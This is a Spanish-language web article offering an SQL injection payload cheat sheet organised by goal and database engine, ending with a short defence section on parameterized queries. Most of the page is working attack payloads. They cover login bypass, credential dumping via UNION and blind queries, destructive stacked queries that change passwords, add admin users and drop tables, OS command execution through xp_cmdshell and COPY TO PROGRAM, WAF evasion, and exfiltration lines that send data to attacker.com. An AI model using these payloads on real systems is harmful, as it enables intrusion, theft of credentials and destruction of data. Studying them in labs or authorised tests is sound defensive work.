Consulta SQL con varios JOIN resaltada en pantalla, el lenguaje que manipulan los payloads de inyección SQL
El SQL legítimo que un payload de inyección secuestra para leer o alterar la base de datos.

Cheat Sheet de Payloads de Inyección SQL con Ejemplos

Uso ético y legal. Este material es una referencia defensiva y de aprendizaje, pensada para entornos de laboratorio, programas de bug bounty autorizados y competiciones CTF. Probar estas técnicas contra sistemas de terceros sin autorización expresa es un delito. Lo que enseñamos aquí lo usamos en el lab para entender al atacante y, sobre todo, para cerrarle la puerta.

La inyección SQL (SQLi) sigue siendo una de las superficies de ataque más rentables contra aplicaciones web: aparece cuando una entrada del usuario se concatena directamente en una consulta y altera su estructura. Si todavía no tienes claro el concepto base —qué es, por qué ocurre y qué tipos existen—, empieza por nuestra guía Qué es la inyección SQL y vuelve aquí para la parte práctica.

Este cheat sheet es esa parte práctica: un inventario de payloads SQLi organizado por objetivo (qué quieres conseguir) y por DBMS (contra qué motor juegas). Así operan los atacantes modernos, y así lo reproducimos en el laboratorio para validar defensas.

Los payloads de inyección SQL son las cadenas que un atacante inserta en un parámetro vulnerable para alterar la consulta y leer datos, evadir la autenticación o ejecutar comandos. Esta hoja de trucos de inyección SQL los reúne con ejemplos de inyección SQL reales, ordenados por objetivo y por motor (MySQL, PostgreSQL, SQL Server, Oracle y SQLite).

Descarga el cheat sheet en PDF: Todos los payloads de esta guía —detección, sintaxis por DBMS, UNION, inyección ciega y checklist de defensa— en una referencia de 2 páginas para tener a mano en tu lab.

[Descargar PDF gratis]

Flujo de payloads de inyección SQL alterando una consulta hacia cada objetivo
Un payload SQLi rompe la estructura de la consulta y abre cada objetivo de ataque.

Cómo detectar una inyección SQL

Antes de lanzar cualquier payload conviene confirmar que el parámetro es inyectable. El sondeo básico es mínimo:

  • Empieza probando una comilla simple ' o doble ". Si aparece un error distinto al habitual, hay una alta probabilidad de que el parámetro sea inyectable: indica que tu comilla está rompiendo la sintaxis de la consulta.
  • Cuando la aplicación no devuelve nada visible, una prueba ciega como 1' AND sleep(5) te deja notar la reacción por el retraso de la respuesta.
  • Si el endpoint consume JSON y no está claro si el backend consulta SQL, NoSQL o ambos, prueba además una inyección NoSQL como {"name":{"$ne": ""}} como sondeo separado del flujo SQLi.

A partir de ahí, eliges la familia de payloads de inyección SQL según lo que la aplicación te deje ver (resultados reflejados, errores, o nada).

Sintaxis por DBMS

Cada motor tiene su propia sintaxis para las operaciones que más se repiten en una SQLi. Esta sección resume, por DBMS, las construcciones útiles que suelen aparecer al diagnosticar vulnerabilidades de inyección SQL (adaptado del Cheat Sheet de Inyección SQL de PortSwigger, su referencia oficial por DBMS y técnica).

Concatenación de cadenas

Se pueden unir varios caracteres para formar una sola cadena.

DBMSSintaxis
Oracle`’foo’
Microsoft'foo'+'bar'
PostgreSQL`’foo’
MySQL'foo' 'bar' (atención al espacio entre las cadenas) o CONCAT('foo','bar')

Subcadena (extracción de caracteres)

Se puede extraer una cadena de un número específico de caracteres a partir de una posición dada. El siguiente ejemplo devuelve ba.

DBMSSintaxis
OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

Comentarios

Se utilizan para truncar la consulta, eliminando la parte de la consulta original que sigue a la entrada. En esta tabla, las formas con -- se muestran como familia de comentario de línea; los matices de separador, espacio o salto de línea se detallan más adelante en la sección «Sintaxis de comentarios».

DBMSSintaxis
Oracle--comment
Microsoft--comment o /*comment*/
PostgreSQL--comment o /*comment*/
MySQL#comment, -- comment (atención al espacio) o /*comment*/

Versión de la base de datos

Consultar el tipo y versión del motor es útil para preparar ataques más complejos.

DBMSSintaxis
OracleSELECT banner FROM v$version o SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Contenido de la base de datos

Listar las tablas existentes y sus columnas.

DBMSSintaxis
OracleSELECT * FROM all_tables / SELECT * FROM all_tab_columns WHERE table_name = 'nombre_tabla'
MicrosoftSELECT * FROM information_schema.tables / SELECT * FROM information_schema.columns WHERE table_name = 'nombre_tabla'
PostgreSQLSELECT * FROM information_schema.tables / SELECT * FROM information_schema.columns WHERE table_name = 'nombre_tabla'
MySQLSELECT * FROM information_schema.tables / SELECT * FROM information_schema.columns WHERE table_name = 'nombre_tabla'

Errores condicionales

Probar una condición booleana y, si es verdadera, desencadenar un error en la base de datos.

DBMSSintaxis
OracleSELECT CASE WHEN (condición) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (condición) THEN 1/0 ELSE NULL END
PostgreSQL1 = (SELECT CASE WHEN (condición) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQLSELECT IF(condición,(SELECT table_name FROM information_schema.tables),'a')

Consultas por lotes (apiladas)

Ejecutan múltiples consultas de forma consecutiva. Los resultados de las posteriores no se devuelven a la aplicación, por lo que esta técnica se usa sobre todo con vulnerabilidades ciegas (una segunda consulta dispara una búsqueda DNS, un error condicional o un retraso de tiempo).

DBMSSintaxis
OracleNo admite consultas por lotes
Microsoftconsulta1; consulta2
PostgreSQLconsulta1; consulta2
MySQLconsulta1; consulta2

En MySQL, las consultas por lotes generalmente no se pueden usar para inyecciones SQL. Sin embargo, puede ser posible si la aplicación de destino se comunica con la base de datos mediante ciertas API de PHP o Python.

Retraso de tiempo

Provocar un retraso incondicional de 10 segundos al procesar la consulta.

DBMSSintaxis
Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT SLEEP(10)

Retrasos de tiempo condicionales

Evaluar una condición booleana y, si es verdadera, disparar un retraso.

DBMSSintaxis
Oracle`SELECT CASE WHEN (condición) THEN ‘a’
MicrosoftIF (condición) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (condición) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(condición,SLEEP(10),'a')

Búsqueda DNS (out-of-band)

Forzar a la base de datos a resolver un dominio externo. Requiere Burp Collaborator Client: genera un subdominio único BURP-COLLABORATOR y sondea el servidor Collaborator para verificar que se produjo la búsqueda DNS.

DBMSSintaxis
Oracle(parcheado, pero abundan instalaciones vulnerables vía XXE) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://subdominio-BURP-COLLABORATOR/"> %remote;]>'),'/l') FROM dual — y, con privilegios de administrador: SELECT UTL_INADDR.get_host_address('subdominio-BURP-COLLABORATOR')
Microsoftexec master..xp_dirtree '//subdominio-BURP-COLLABORATOR/a'
PostgreSQLcopy (SELECT '') to program 'nslookup subdominio-BURP-COLLABORATOR'
MySQL(solo Windows) LOAD_FILE('\\\\subdominio-BURP-COLLABORATOR\\a') o SELECT ... INTO OUTFILE '\\\\subdominio-BURP-COLLABORATOR\\a'

Búsqueda DNS con exfiltración de datos

Igual que la anterior, pero el subdominio incluye el resultado de la consulta inyectada.

DBMSSintaxis
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.subdominio-BURP-COLLABORATOR/a"')
MySQL(solo Windows) SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\subdominio-BURP-COLLABORATOR\\a'

En Oracle y PostgreSQL la exfiltración OOB con datos se arma sobre estas mismas primitivas (UTL_HTTP/XXE y COPY ... TO PROGRAM); los payloads completos están en la sección «Inyección fuera de banda».

Recopilación de información

El primer objetivo tras confirmar la inyección es perfilar la base de datos con payloads de inyección SQL orientados a la recopilación: versión, usuario, esquema, tablas y columnas.

Identificación de la versión

DBMSBasado en UNIONBasado en erroresCiego (blind)
MySQL' UNION SELECT @@version, NULL --' AND updatexml(null, concat(0x7e, (SELECT @@version)), null) --' AND SUBSTRING(@@version,1,1)='5' --
PostgreSQL' UNION SELECT version(), NULL --' AND 1=(SELECT CAST(version() AS NUMERIC)) --' AND SUBSTRING(version(),1,1)='1' --
SQL Server' UNION SELECT @@version, NULL --' AND 1=(SELECT CAST(@@version AS INT)) --' AND SUBSTRING(@@version, 1, 1)='M' --
Oracle' UNION SELECT banner, NULL FROM v$version WHERE ROWNUM=1 --' AND 1=UTL_INADDR.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1)) -- (error-based: la excepción de UTL_INADDR filtra el dato en el mensaje; requiere ACL de red permisiva en Oracle ≥11g)' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE ROWNUM=1)='O' --
SQLite' UNION SELECT sqlite_version(), NULL --(difícil basado en errores)' AND SUBSTR(sqlite_version(),1,1)='3' --

Identificación del usuario actual

-- MySQL / PostgreSQL
' UNION SELECT user(), NULL --
' UNION SELECT current_user, NULL --

-- SQL Server
' UNION SELECT SUSER_SNAME(), NULL --
' UNION SELECT SYSTEM_USER, NULL --

-- Oracle
' UNION SELECT user, NULL FROM dual --

Identificación de la base de datos / esquema

-- MySQL
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
' UNION SELECT database(), NULL --

-- PostgreSQL
' UNION SELECT datname, NULL FROM pg_database --
' UNION SELECT current_database(), NULL --

-- SQL Server
' UNION SELECT name, NULL FROM master..sysdatabases --
' UNION SELECT DB_NAME(), NULL --

-- Oracle
' UNION SELECT owner, NULL FROM all_tables --       (lista de esquemas)
' UNION SELECT SYS_CONTEXT('USERENV', 'DB_NAME'), NULL FROM dual --

Identificación de nombres de tablas

Se usan information_schema (MySQL, PostgreSQL, SQL Server), all_tables (Oracle) y sqlite_master (SQLite).

-- MySQL / PostgreSQL / SQL Server (BD = 'target_db')
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'target_db' --

-- Oracle (esquema = 'TARGET_SCHEMA')
' UNION SELECT table_name, NULL FROM all_tables WHERE owner = 'TARGET_SCHEMA' --

-- SQLite
' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' --

En inyección ciega se identifica carácter por carácter:

-- ¿El primer carácter del nombre de tabla en MySQL es 'u'?
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --

Identificación de nombres de columnas

-- MySQL / PostgreSQL / SQL Server (tabla = 'users')
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --

-- Oracle (tabla = 'USERS', esquema = 'TARGET_SCHEMA')
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS' AND owner = 'TARGET_SCHEMA' --

-- SQLite (ciego, comprobar existencia de columna 'password')
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE name='users' AND sql LIKE '%password%') --

También carácter por carácter de forma ciega:

' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i' --

Evasión de autenticación y bypass de login

Técnicas para romper el proceso de inicio de sesión mediante tautologías, truncado de la parte restante de la consulta o inyección de filas compatibles con la consulta original.

Condición siempre verdadera y truncado de la condición restante

-- username:
admin' --
admin' #
admin'/*
' OR '1'='1
' OR 'x'='x

-- password:
' OR '1'='1
' OR 'a'='a' --
' OR 1=1 --
-- Consulta: SELECT * FROM users WHERE username = '...' AND password = '...'

-- Variante con tautología y comentario en username
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'

-- Variante con tautología en password que deshabilita lo posterior con comentario
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' -- '

Los payloads con OR fuerzan una condición verdadera; los payloads que terminan en comentario eliminan la parte restante de la consulta, normalmente la comprobación de contraseña. Muchos WAF y frameworks detectan este patrón simple.

Comentar el nombre de usuario

Autenticarse comentando el resto de la consulta para conservar solo la condición sobre el usuario indicado.

-- username:
admin'--
admin'#

-- password: (cualquier valor)
-- Introduciendo admin'-- en username
SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'
-- Equivale a: SELECT * FROM users WHERE username = 'admin'

En este patrón, el comentario no vuelve verdadera la cláusula WHERE; elimina la comprobación de contraseña y deja activa la búsqueda del usuario especificado. Nota por motor: admin'-- sin espacio funciona en SQL Server, Oracle, PostgreSQL y SQLite; en MySQL el comentario -- exige un espacio o salto de línea después, así que ahí usa admin'-- (con espacio) o admin'#.

Especificación de usuario basada en UNION

Forzar que se devuelva la información de un usuario concreto (p. ej. admin) cuando la consulta original no devuelve nada.

-- username:
' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' --

-- password: (cualquier valor)

Hay que hacer coincidir el número de columnas y los tipos de datos, ajustando con NULL o datos ficticios.

Extracción de datos

Inyección SQL basada en UNION

Agrega resultados a la consulta original para obtener datos de otra tabla. Pasos:

  1. Identificar el número de columnas (ORDER BY o UNION SELECT NULL, NULL, ...).
  2. Identificar los tipos de datos (probando con errores o UNION SELECT 'a', NULL, 1, ...).
  3. Extraer los datos con UNION SELECT.
-- 1. Número de columnas (probar si son 3)
' ORDER BY 3 --

-- 2. Tipo de datos (con 3 columnas, ¿la segunda es cadena?)
' UNION SELECT NULL, 'a', NULL --

-- 3. Extracción (username y password de users, asumiendo 3 columnas)
' UNION SELECT NULL, username, password FROM users --

-- Múltiples filas (MySQL)
' UNION SELECT NULL, GROUP_CONCAT(username, ':', password), NULL FROM users --
Salida de un payload de inyección SQL basado en UNION volcando datos en el lab
Volcado de credenciales con una inyección SQL basada en UNION en entorno de prácticas.

Las funciones de concatenación varían por motor:

DBMSConcatenación de cadenasConcatenación de múltiples filas
MySQLCONCAT(col1, ':', col2)GROUP_CONCAT(col SEPARATOR ';')
PostgreSQL`col1
SQL Servercol1 + ':' + col2STRING_AGG(col, ';') WITHIN GROUP (ORDER BY col) (2017+) / XML PATH
Oracle`col1
SQLite`col1

Inyección basada en errores

Extrae información a través de mensajes de error provocados de forma controlada; según el motor y la técnica, el dato objetivo puede aparecer en errores de conversión, XML/XPath, funciones auxiliares o condiciones de agrupación.

-- MySQL (updatexml/extractvalue) — técnica clásica; efectiva cuando la aplicación expone mensajes de error detallados de la BD (común en MariaDB y entornos legacy)
' AND updatexml(null, concat(0x7e, (SELECT @@version)), null) --
' AND extractvalue(null, concat(0x7e, (SELECT user()))) --

-- MySQL (floor, rand, group by)
' AND (SELECT count(*) FROM information_schema.tables GROUP BY concat(floor(rand(0)*2), (SELECT @@version))) --

-- PostgreSQL (error de conversión)
' AND 1=(SELECT CAST((SELECT user) AS NUMERIC)) --

-- SQL Server (error de conversión)
' AND 1=(SELECT CAST((SELECT DB_NAME()) AS INT)) --
' OR 1=CONVERT(int, (SELECT @@servername)) --

-- Oracle (XMLType)
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) --
' AND 1=(SELECT CTXSYS.DRITHSX.SN(1, (SELECT user FROM dual)) FROM dual) --   (requiere privilegios CTXAPP)

En entornos modernos los mensajes de error suelen estar ocultos, lo que limita esta técnica.

Inyección SQL ciega (blind)

Cuando los resultados no se muestran, se infiere la información por diferencias en la respuesta.

Basada en booleanos

-- ¿El primer carácter del usuario es 'a'? (MySQL/PostgreSQL)
' AND SUBSTRING(user(), 1, 1) = 'a' --

-- ¿La longitud del password del primer registro es 8?
' AND LENGTH((SELECT password FROM users LIMIT 1)) = 8 --

-- ¿El tercer carácter del password es 'x'? (por valor ASCII)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1), 3, 1)) = 120 --
Tipo de pruebaFragmento lógico a adaptar al contexto de inyecciónSeñal observable
Condición verdaderaAND 1=1--La página se muestra normalmente
Condición falsaAND 1=2--Cambio visible en la respuesta / resultado vacío

Basada en tiempo

-- MySQL
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --

-- PostgreSQL
' AND CASE WHEN (SUBSTRING(user(),1,1)='p') THEN pg_sleep(5) ELSE NULL END --

-- SQL Server
' WAITFOR DELAY '0:0:5' --
' IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5' --

-- Oracle
' AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual) --

El método basado en tiempo es efectivo cuando el booleano no se puede usar, pero el retraso de red puede introducir ruido. Se usa cada vez más para evadir WAF que bloquean técnicas basadas en errores.

Inyección fuera de banda (out-of-band)

El servidor de la base de datos envía una petición a un servidor externo controlado por el atacante; cuando el payload incorpora el resultado de una consulta en el dominio, ruta o parámetro enviado, esa petición también funciona como canal de exfiltración.

Flujo de exfiltración fuera de banda en una inyección SQL hacia el servidor del atacante
En OOB, la base de datos envía el dato al servidor del atacante por DNS o HTTP.
-- SQL Server (DNS vía ruta UNC)
' DECLARE @data VARCHAR(1024); SELECT @data = (SELECT @@version); EXEC master..xp_dirtree ('\\'+@data+'.attacker.com\share'); --

-- Oracle (UTL_HTTP / UTL_INADDR)
' UNION SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)), NULL FROM dual --
' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual) || '.attacker.com'), NULL FROM dual --

-- PostgreSQL (COPY TO PROGRAM - superusuario)
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /dev/stdin)';

Requiere que el firewall permita la salida desde el servidor de BD y, a menudo, privilegios elevados. El ejemplo de PostgreSQL con COPY ... TO PROGRAM exige superusuario y es frágil ante saltos de línea o caracteres especiales en los datos exfiltrados: es un vector real pero no la forma más robusta.

Alteración y eliminación de datos

Encuadre de laboratorio. Lo que sigue son operaciones destructivas. Las documentamos para entender el alcance de una SQLi con consultas apiladas y para dimensionar el riesgo en una auditoría, no para ejecutarlas fuera de un entorno controlado.

Cómo se previene: deshabilitar las consultas apiladas a nivel de driver, aplicar el principio de mínimo privilegio (la cuenta de la app no debería poder UPDATE/DELETE/DROP sobre tablas críticas) y separar datos de código con consultas parametrizadas (ver sección de defensa).

Estas técnicas dependen de que las consultas apiladas estén disponibles.

-- UPDATE: cambiar la contraseña de 'targetuser'
'; UPDATE users SET password = 'newpassword' WHERE username = 'targetuser' --

-- UPDATE: escalar privilegios del id 1 a 'admin'
'; UPDATE users SET role = 'admin' WHERE id = 1 --

-- INSERT: agregar un usuario administrador
'; INSERT INTO users (username, password, role) VALUES ('attacker', 'hashed_pass', 'admin') --

-- DELETE: eliminar un usuario
'; DELETE FROM users WHERE username = 'victimuser' --

-- DROP TABLE: operación muy destructiva
'; DROP TABLE logs --

Si las consultas apiladas (;) están deshabilitadas, estas operaciones normalmente no se pueden ejecutar — razón de más para deshabilitarlas en producción.

Ejecución de comandos del sistema operativo (RCE)

Encuadre de laboratorio. La ejecución de comandos del SO es el peor escenario de una SQLi: convierte el acceso a datos en control del servidor. Su viabilidad depende por completo de la configuración, los privilegios y las funciones habilitadas.

Cómo se previene: ejecutar el servicio de BD con una cuenta de SO sin privilegios, mantener xp_cmdshell deshabilitado, retirar UDF y lenguajes de procedimiento no usados, y restringir permisos de escritura sobre el document root.

MySQL

A menudo requiere UDF (sys_exec); con las funciones estándar es limitado.

-- Con UDF ya cargada
' UNION SELECT sys_exec('whoami'), NULL --

También es posible escribir una web shell con INTO OUTFILE/INTO DUMPFILE si hay privilegios de escritura sobre la raíz web — vector clásico que se mitiga retirando el privilegio FILE a la cuenta de la aplicación.

PostgreSQL

Usa COPY ... FROM/TO PROGRAM (superusuario) o lenguajes como PL/Python.

-- COPY PROGRAM (superusuario)
COPY (SELECT '') TO PROGRAM 'id > /tmp/id_output';

-- PL/Python (requiere extensión y privilegios)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT exec('whoami');

SQL Server

Procedimiento xp_cmdshell (deshabilitado por defecto).

-- Con xp_cmdshell habilitado
'; EXEC master..xp_cmdshell 'whoami' --

-- Habilitarlo requiere privilegios sysadmin
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

Oracle

Usa DBMS_SCHEDULER o procedimientos almacenados de Java (ambos requieren privilegios elevados): se crea un job de tipo EXECUTABLE que lanza /bin/bash con argumentos controlados. Es una técnica de privilegios altos que, en una auditoría, señala una cuenta de BD sobredimensionada.

Consultas apiladas (stacked queries)

Ejecutan varias sentencias en una sola entrada usando ;.

' ; SELECT * FROM users WHERE username = 'admin' ; UPDATE products SET price = 0 WHERE id = 123 --

Permiten INSERT/UPDATE/DELETE/DROP y sirven de disparador para la ejecución de comandos (xp_cmdshell). Estado de soporte:

  • Compatible: SQL Server, PostgreSQL, MySQL (algunas API/drivers).
  • No compatible / limitado: Oracle (solo dentro de bloques PL/SQL), SQLite (según API), PHP/MySQL (funciones estándar).

SQLi en API y payloads JSON

Cuando los filtros dinámicos quedan expuestos al cliente, la API se vuelve uno de los vectores de inyección más comunes. Estos ejemplos asumen que el valor recibido por la API se interpola en una consulta SQL dinámica: id dentro de una condición, un argumento GraphQL dentro de una consulta generada en backend, o sort dentro de una cláusula de ordenamiento.

ContextoEjemplo de payload
REST JSON{ "id": "1 OR 1=1" }
GraphQLid: "1 UNION SELECT password FROM users"
Ordenamiento de parámetros?sort=id desc;--

Técnicas avanzadas

Inyección de segundo orden (second-order)

Ocurre cuando una entrada maliciosa se almacena sin alterar inmediatamente la consulta que la recibe y, más tarde, otra función la lee de manera insegura para construir una nueva consulta. PortSwigger también la llama stored SQL injection.

Ejemplo: un usuario registra admin' -- como nombre de perfil; al cambiar la contraseña, el código lee ese nombre y ejecuta SELECT * FROM users WHERE username = 'admin' -- ', disparando la inyección en esa segunda consulta.

No basta con sanear en la entrada: hay que usar placeholders también al reutilizar datos ya almacenados.

Evasión de WAF

Reglas de detección que se intentan evadir ofuscando el payload:

  • División y ofuscación de palabras clave: comentarios (UNION/**/SELECT, SEL/**/ECT), mayúsculas/minúsculas (UnIoN SeLeCt), URL encoding (%55NION %53ELECT), double URL encoding (%2555NION), Unicode (%u0055NION), alternativas al espacio (+, %09, %0a, %a0, /**/), concatenación ('SEL'||'ECT', CONCAT('SEL','ECT')).
  • Sintaxis alternativa: AND 1=1AND true / AND 'a'='a'; UNION SELECTUNION ALL SELECT; SUBSTRINGLEFT/SUBSTR; SLEEP(5)BENCHMARK(10000000, MD5('a')).
  • HTTP Parameter Pollution: enviar parámetros repetidos ?id=1&id=' OR '1'='1.
  • Cambio del formato de la solicitud: pasar de GET a POST o cambiar el Content-Type a application/json.

Las firmas de los WAF evolucionan: ninguna de estas evasiones está garantizada. La misma lógica de ofuscación se aplica a otros vectores, como los payloads XSS contra un WAF.

Trucos de competición (CTF) por DBMS

Material que aparece sobre todo en CTF y que en el lab confirmamos como útil cuando los filtros aprietan.

MySQL / MariaDB

  • Si se puede usar #, es MySQL; /* */ también vale como comentario.
  • Cadenas sin comillas: CHAR(0x61,0x64,0x6d,0x69,0x6e) o char(97,100,109,105,110) dan admin.
  • Operadores con símbolos: and = &&, or = ||, not = !.
  • LFI: load_file('/etc/passwd').
  • Métodos útiles: database(), version(), user().

PostgreSQL

  • Concatenación cómoda: UNION SELECT username || '~' || password FROM users.
  • Literales alternativos: 'ad'||'min', dólar-doble $$a$$||$$d$$||$$m$$||$$i$$||$$n$$, o desde hex convert_from(decode('61646d696e','hex'),'UTF8') (en PostgreSQL 0x61646d696e no es una cadena: 0x... es sintaxis de MySQL y en Postgres, como mucho, sería un entero).
  • Comentar al final con /* cuando -- no funciona: ' union select 'admin', 'pass' /*.

SQLite

  • Extraer todo el esquema: SELECT group_concat(sql) FROM sqlite_master.
  • Columnas: select sql from sqlite_master where type='table' and name='table_name'.
  • Comentarios --, /*; el byte nulo (%00) también puede funcionar como terminador según el driver o la capa de lenguaje (p. ej. PHP PDO SQLite), no de forma universal.

SQL Server (MSSQL)

  • Tablas: SELECT name FROM sysobjects WHERE xtype = 'U' o select name from sys.tables.
  • Sin espacios, con identificadores entre corchetes: select[password]from[Users]where[username]='admin'.
  • Truco having 1=1 / group by para filtrar nombres de columna por mensajes de error.

Oracle

  • Todas las tablas: select table_name from all_tables.
  • Columnas: select column_name from all_tab_columns WHERE table_name = 'table'.
  • Unión de cadenas con ||.

Otros trucos transversales

  • Quine SQL: un payload que se genera a sí mismo, útil para saltar una reconfirmación de contraseña.
  • Evasión de addslashes con multibyte: usar %bf%5c' en lugar de ' en codificaciones como GBK/Shift-JIS.
  • ORDER BY para contar columnas: incrementar el número hasta provocar error (búsqueda binaria del número de columnas).
  • Saltos de línea como espacios: %0D%0A, %0b, %0C cuando el espacio está filtrado.

Sintaxis de comentarios

Formatos para deshabilitar el resto de una consulta.

SintaxisDescripciónDBMS principalesA tener en cuenta
-- (dos guiones + espacio)Comenta hasta el final de líneaMySQL, PostgreSQL, SQL Server, Oracle, SQLiteEl espacio/salto tras -- solo lo exige MySQL; PostgreSQL, SQL Server, Oracle y SQLite comentan con -- sin espacio
#Comenta hasta el final de líneaMySQL
/* ... */Comentario multilínea o en líneaMySQL, PostgreSQL, SQL Server, OracleFácil de detectar por WAF
;%00 (byte nulo)Falsifica el final de la consultaEntornos antiguos MySQL+PHPRaro en la actualidad
-- Ejemplos
' UNION SELECT username, password FROM users -- -
' UNION SELECT username, password FROM users #
' UNION/*comment*/SELECT/*comment*/username, password FROM users --

Defensa y mitigación: qué funciona de verdad

Prevenir la inyección SQL no requiere expresiones regulares ingeniosas ni trucos de escape, sino una garantía estructural: separar el código de los datos. La referencia canónica de prevención es la Cheat Sheet de Prevención de Inyección SQL de OWASP.

Construcción segura de consultas

Técnica de defensaPor qué funciona
Consultas parametrizadasSeparan código y datos
Sentencias preparadas (prepared statements)Evitan la reescritura de la consulta
API seguras de ORMFuerzan los límites de la abstracción
Listas blancas (whitelisting)Rechazan entradas inesperadas
Usuario de BD con mínimo privilegioLimita el radio de impacto
Deshabilitar errores detalladosBloquea la filtración basada en errores

El antipatrón a erradicar

# PELIGROSO: concatenación directa
query = f"SELECT * FROM users WHERE email = '{user_input}'"
cursor.execute(query)

Si user_input contiene OR '1'='1, la consulta devuelve todos los usuarios y la autenticación se rompe. Este patrón sigue apareciendo en código generado por IA, herramientas internas y prototipos rápidos — por eso conviene atraparlo con revisiones automáticas en CI/CD.

La forma correcta

# Python (psycopg2)
cur.execute("SELECT * FROM users WHERE username = %s", (user_input,))
// Node.js (driver pg)
client.query('SELECT * FROM users WHERE username = $1', [userInput]);

Las consultas parametrizadas aseguran que los datos del usuario no puedan modificar la sintaxis SQL. Complétalas con tres capas más: mínimo privilegio para la cuenta de la aplicación (sin acceso a DROP TABLE, GRANT, xp_cmdshell ni al sistema de archivos), validación de entrada, y manejo de errores que no filtre detalles del motor.

Para profundizar en el modelo de ataque, consulta la referencia de OWASP sobre inyección SQL.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda